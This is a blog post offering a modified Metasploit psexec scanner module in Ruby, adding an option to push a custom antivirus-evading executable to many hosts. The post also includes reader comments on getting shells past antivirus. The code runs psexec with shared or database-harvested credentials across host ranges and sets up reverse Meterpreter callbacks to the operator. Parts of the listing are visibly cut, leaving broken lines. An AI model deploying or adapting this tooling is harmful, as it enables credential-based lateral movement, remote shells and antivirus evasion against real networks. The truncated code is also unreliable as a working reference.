Use EXE::Custom with psexec scanner

Last year DarkOperator(Carlos Perez) released an awesome auxiliary module for the Metasploit Framework: the PSExec Scanner Auxiliary Module. This module allows you to use a set of credentials (or hashes) to run the psexec Metasploit module against a list of hosts. A very handy trick when you have a shared local admin account and want to get shells on a bunch of machines where those admin credentials work.

I simply added a few lines to his script that adds the EXE::Custom option, which allows you to specify a custom binary to use as a payload rather than have the psexec module create one on the fly. This is useful if you like to use a custom executable that already bypasses AV, since the stock Metasploit payloads often get caught by AV’s. You set the EXE::Custom option like you would any other option is msf, e.g. “set EXE::Custom /tmp/samba/revshell.exe”.

Be forewarned: Using the custom binary can take a little while longer to pop the box than when you run the module with the default options.

Below is the original script with my edits/additions highlighted. You can download the edited script here

##
# $Id$
##

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
#Slightly modified by pipefish to add the EXE::Custom option

require 'msf/core'
require 'rex'



class Metasploit3  'Auxiliary PSExec Scanner',
				'Description'   => %q{
					PSExec scanner module that will run a psexec attack against a range of hosts
					using either a set of credentials provided or the credential saved in the
					current workspace database.
				},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez '],
				'Version'       => '$Revision$'
			))
		register_options(
			[
				OptString.new('SMBUser', [false, 'SMB Username', nil]),
				OptString.new('SMBPass', [false, 'SMB Password', nil]),
				OptString.new('SMBDomain', [true, "SMB Domain", 'WORKGROUP']),
				OptString.new('SHARE',     [ true,
						"The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),
				OptString.new('RHOSTS', [true, 'Range of hosts to scan.', nil]),
				OptInt.new('LPORT', [true, 'Local Port for payload to connect.', nil]),
				OptString.new('LHOST', [true, 'Local Hosts for payload to connect.', nil]),
				OptString.new('PAYLOAD', [true, 'Payload to use against Windows host',
						"windows/meterpreter/reverse_tcp"]),
				OptEnum.new('TYPE', [false, 
						'Type of credentials to use, manual for provided one, db for those found on the database',
						'manual', ['db','manual']]),
				OptString.new('OPTIONS',
				[false, "Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.",
					""]),
				OptString.new('EXE::Custom', [false, 'Use custom exe instead of automatically generating a payload exe', nil]),
				OptBool.new('HANDLER',
					[ false, 'Start an Exploit Multi Handler to receive the connection', true]),
			], self.class)
		# no need for it
		deregister_options('RPORT')
		
	end
	def setup()
		# Set variables
		pay_name = datastore['PAYLOAD']
		lhost    = datastore['LHOST']
		lport    = datastore['LPORT']
		opts     = datastore['OPTIONS']
		

		if datastore['TYPE'] == "db"
			print_status("Using the credentials found in the workspace database")
			collect_hashes()
		else
			print_status("Using the username and password provided")
		end
		@pay = create_payload(pay_name,lhost,lport,opts)
		create_multihand(pay_name,lhost,lport) if datastore['HANDLER']
	end

	# Run Method for when run command is issued
	def run_host(ip)
		if check_port(ip)
			if datastore['TYPE'] == "manual"
				if not datastore['SMBUser'].nil? and not datastore['SMBPass'].nil?
					user = datastore['SMBUser']
					pass = datastore['SMBPass']
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
					psexec(ip,user,pass,dom,payload,custexe)
					return
				end
			else
				@creds.each do |c|
					user,pass = c.split(" ")
					dom = datastore['SMBDomain']
					payload = datastore['PAYLOAD']
					custexe = datastore['EXE::Custom']
					print_status("Trying #{user}:#{pass}")
					psexec(ip,user,pass,dom,payload,custexe)
				end
			end
		else
			return
		end
	end
	
	## Run psexec on a given IP
	def psexec(ip,user,pass,dom,payload,custexe)
		psexec = framework.modules.create("exploit/windows/smb/psexec")
		psexec.share_datastore(@pay.datastore)
		psexec.datastore['PAYLOAD'] = payload
		psexec.datastore['MODULE_OWNER'] = self.owner
		psexec.datastore['WORKSPACE'] = datastore["WORKSPACE"] if datastore["WORKSPACE"]
		psexec.datastore['RHOST'] = ip
		psexec.datastore['SMBUser'] = user
		psexec.datastore['SMBPass'] = pass
		psexec.datastore['SMBDomain'] = dom
		if not datastore['EXE::Custom'].nil?
			psexec.datastore['EXE::Custom'] = custexe
		end
		psexec.datastore['SHARE'] = datastore['SHARE']
		psexec.datastore['RPORT'] = 445
		psexec.datastore['ExitOnSession'] = false
		psexec.datastore['DisablePayloadHandler'] = false
		psexec.datastore['EXITFUNC'] = 'process'
		psexec.datastore['VERBOSE'] = true
		psexec.datastore['DisablePayloadHandler'] = true
		psexec.datastore['ForceBlocking'] = true
		psexec.options.validate(psexec.datastore)
		psexec.exploit_simple(
			'LocalInput'	=> self.user_input,
			'LocalOutput'	=> self.user_output,
			'Payload'	=> payload,
			'Target'	=> 0,
			'ForceBlocking'	=> true,
			'RunAsJob'	=> false)
		Rex::ThreadSafe.sleep(4)
	end

	def check_port(ip)
		status = false
		timeout = 1000
		port = 445
		begin
			s = connect(false,
				{
					'RPORT' => 445,
					'RHOST' => ip,
					'ConnectTimeout' => (timeout / 1000.0)
				}
			)
			print_status("#{ip}:#{port} - TCP OPEN")
			status = true
		rescue ::Rex::ConnectionRefused
			vprint_status("#{ip}:#{port} - TCP closed")
		rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_error("#{ip}:#{port} exception #{e.class} #{e} #{e.backtrace}")
		ensure
			disconnect(s) rescue nil
		end
		return status
	end

	def collect_hashes
		type = "smb_hash|password"
		@creds = []
		print_status("Collecting Hashes from the DB")
		framework.db.workspace.creds.each do |cred|
			if cred.active and cred.ptype =~ /#{type}/ and cred.user !~ /(SUPPORT|HelpAssistant|TsInternetUser|IWAM|Guest)/
				@creds < mul.datastore['PAYLOAD'],
					'LocalInput'  => self.user_input,
					'LocalOutput' => self.user_output,
					'RunAsJob'    => true
				)
		else
			print_error("Could not start handler!")
		end
	end

end
Advertisement

2 thoughts on “Use EXE::Custom with psexec scanner

  1. Does this work on win 7/srvr2008?
    I tries psexec from metaploit on windows server.2008 and it uploaded my payload but nothing happened. The firewall was turned off to.

    Like

    • Hey Bill, it works on Windows 7 professional (that’s what I was testing on anyways). I guess first make sure the standard psexec exploit works without a custom coded EXE, to ensure there’s no weirdness (turn off AV for testing). In my experience when you fire off the psexec module and it connects and “runs” but no shell then AV is catching you (Even MS security essentials). Before trying to bypass AV make sure your setup runs with AV and whatnot off. Also, does your custom EXE work standalone? Can you just run it from the Windows box and have it connect to a listening multi/handler? You need to specify the proper payload listener in the psexec_scanner module that you’ve hard-coded in your EXE as well. Once everything works with no protection (and you’ve (en)coded it to bypass AV properly) you should have no prob. Good luck!

      Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s